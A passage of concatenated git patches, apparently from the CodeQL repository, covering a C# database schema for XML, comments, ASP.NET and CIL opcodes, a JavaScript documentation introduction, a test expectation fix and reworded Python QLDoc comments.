+xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/TO_CHANGE/upgrade.properties b/csharp/upgrades/b93e202508f21bdf2e0d831e464c3b14187378cc/upgrade.properties similarity index 100% rename from csharp/upgrades/TO_CHANGE/upgrade.properties rename to csharp/upgrades/b93e202508f21bdf2e0d831e464c3b14187378cc/upgrade.properties From 99a634d2c2bb1fd99ad5860859f780e6a8c7860b Mon Sep 17 00:00:00 2001 From: james Date: Tue, 15 Dec 2020 12:11:29 +0000 Subject: [PATCH 0263/1241] add introduction to article --- docs/codeql/codeql-language-guides/codeql-for-javascript.rst | 3 +++ ...ecifying-additional-remote-flow-sources-for-javascript.rst | 4 +++- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/docs/codeql/codeql-language-guides/codeql-for-javascript.rst b/docs/codeql/codeql-language-guides/codeql-for-javascript.rst index 3739988abf2..cbf833bac5c 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/codeql-for-javascript.rst @@ -13,6 +13,7 @@ Experiment and learn how to write effective and efficient queries for CodeQL dat codeql-library-for-typescript analyzing-data-flow-in-javascript using-flow-labels-for-precise-data-flow-analysis + specifying-additional-remote-flow-sources-for-javascript using-type-tracking-for-api-modeling abstract-syntax-tree-classes-for-working-with-javascript-and-typescript-programs data-flow-cheat-sheet-for-javascript @@ -27,6 +28,8 @@ Experiment and learn how to write effective and efficient queries for CodeQL dat - :doc:`Using flow labels for precise data flow analysis `: You can associate flow labels with each value tracked by the flow analysis to determine whether the flow contains potential vulnerabilities. +- :doc:`Specifying remote flow sources for JavaScript `: You can model potential sources of untrusted user input without making changes to the CodeQL standard libary fror JavaScript. + - :doc:`Using type tracking for API modeling `: You can track data through an API by creating a model using the CodeQL type-tracking library for JavaScript. - :doc:`Abstract syntax tree classes for working with JavaScript and TypeScript programs `: CodeQL has a large selection of classes for representing the abstract syntax tree of JavaScript and TypeScript programs. diff --git a/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst b/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst index c96b3e86c5e..96b69652a32 100644 --- a/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst @@ -1,8 +1,10 @@ -.. specifying-additional-remote-flow-sources-for-javascript: +.. _specifying-additional-remote-flow-sources-for-javascript: Specifying additional remote flow sources for JavaScript ======================================================== +You can model potential sources of untrusted user input without making changes to the CodeQL standard libary fror JavaScript. + As mentioned in the :doc:`Data flow cheat sheet for JavaScript `, the CodeQL libraries for JavaScript provide a class `RemoteFlowSource `__ to represent sources of untrusted user input, sometimes also referred to as `remote flow sources`. From 3cf967458f2fb365187ef2837870920fc22b6f11 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Tue, 15 Dec 2020 14:28:51 +0100 Subject: [PATCH 0264/1241] Fix failing test --- csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected | 1 + 1 file changed, 1 insertion(+) diff --git a/csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected b/csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected index 41c2113b3a1..8915b72cc42 100644 --- a/csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected +++ b/csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected @@ -1,3 +1,4 @@ +| AnonymousObjectCreation.cs:9:29:9:31 | set_Prop1 | set | | InitOnlyProperty.cs:12:42:12:45 | set_Prop0 | init | | InitOnlyProperty.cs:13:37:13:40 | set_Prop1 | init | | InitOnlyProperty.cs:14:37:14:39 | set_Prop2 | set | From 8df186167e765ad54d8eb15c2b1eabcb4360414b Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Tue, 15 Dec 2020 15:15:03 +0100 Subject: [PATCH 0265/1241] Python: Reword QLDoc for class modeling with type-tracking As discussed in https://github.com/github/codeql/pull/4797#discussion_r542423387 --- python/.vscode/ql.code-snippets | 8 +- .../src/semmle/python/frameworks/Django.qll | 108 +++++++++--------- .../src/semmle/python/frameworks/Fabric.qll | 8 +- .../ql/src/semmle/python/frameworks/Flask.qll | 16 +-- .../src/semmle/python/frameworks/PEP249.qll | 6 +- .../src/semmle/python/frameworks/Stdlib.qll | 16 +-- .../src/semmle/python/frameworks/Werkzeug.qll | 14 +-- 7 files changed, 88 insertions(+), 88 deletions(-) diff --git a/python/.vscode/ql.code-snippets b/python/.vscode/ql.code-snippets index 76a07df1452..80c6ef1290d 100644 --- a/python/.vscode/ql.code-snippets +++ b/python/.vscode/ql.code-snippets @@ -321,13 +321,13 @@ " DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) }", "", " /**", - " * A source of an instance of `$1.$2`.", + " * A source of instances of `$1.$2`, extend this class to model new instances.", " *", - " * This can include instantiation of the class, return value from function", - " * calls, or a special parameter that will be set when functions are call by external", + " * This can include instantiations of the class, return values from function", + " * calls, or a special parameter that will be set when functions are called by an external", " * library.", " *", - " * Use `$2::instance()` predicate to get references to instances of `$1.$2`.", + " * Use the predicate `$2::instance()` to get references to instances of `$1.$2`.", " */", " abstract class InstanceSource extends DataFlow::Node { }", "", diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index db8f31f990d..9e402ec047d 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -540,9 +540,9 @@ private module Django { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `django.http.request.HttpRequest`. + * A source of instances of `django.http.request.HttpRequest`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function + * This can include instantiations of the class, return values from function * calls, or a special parameter that will be set when functions are called by an external * library. * @@ -646,13 +646,13 @@ private module Django { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `django.http.response.HttpResponse`. + * A source of instances of `django.http.response.HttpResponse`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `HttpResponse::instance()` predicate to get references to instances of `django.http.response.HttpResponse`. + * Use the predicate `HttpResponse::instance()` to get references to instances of `django.http.response.HttpResponse`. */ abstract class 